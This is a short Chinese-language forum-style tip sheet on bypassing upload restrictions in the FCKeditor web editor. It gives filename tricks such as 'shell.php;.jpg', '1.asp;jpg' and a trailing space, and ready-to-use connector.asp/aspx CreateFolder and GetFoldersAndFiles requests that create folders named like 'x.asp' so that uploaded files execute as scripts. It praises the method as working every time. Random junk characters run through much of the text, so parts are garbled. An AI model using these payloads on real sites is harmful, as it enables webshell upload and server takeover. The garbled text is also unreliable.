很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg
' D, b6 A% s: I0 {8 U2 G N
0 w) z4 m5 z7 K8 C, A) D提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。
3 w& k6 A0 Z8 b
% `" z {. M8 A继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
+ m/ W: L+ Q% S- w3 i$ Z% |6 B* f2 H1 ?# b
突破建立文件夹:
0 y0 v- p* I J7 c, \2 C- `4 I N" |3 z
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp( o; X* w; Z) `4 Z* m! f; p
5 [7 E, J# y) o# ]. Y* T
参数:- }. X1 O+ P' T* q; L8 H) T1 X
: u$ `" T! s( U4 O- f
当前目录名:CurrentFolder=/qing.asp
& [5 }1 G7 M3 u- a- |. J! y/ K0 w* h* a5 `3 L0 B! }
新的目录名:NewFolderName=x.asp- w: J0 q" N, `' `3 \; m3 j: u
. Z5 V" k$ Q# g2 r
其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……3 e- P3 n. B% W# Y/ j6 G" Y
* M9 N/ U$ V: B' S+ f4 B1 V" e! Q那么 x.asp 就已经建立生成了,此方法百试百灵!
. z- H5 a/ g4 t \% g
& v: k4 [; K( ?新建文件夹参数 x.asp,基本都能搞定。 }5 G. L( }; Z
( n( h5 V% w3 b下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建3 P) ^ ~ W7 G' i, G0 {; C6 v2 [
6 Y A: f6 J2 R8 L" p: K$ {
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp
3 f! Y/ Z4 n* P1 c5 k; x; j+ a: _9 p6 M8 h1 O3 H z8 }
获取文件列表
A- P% j% l& i9 x2 o1 j7 y aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F3 T4 R- j4 N4 ~) a( ]( V$ F9 |* y
" x# Y! b$ P' J |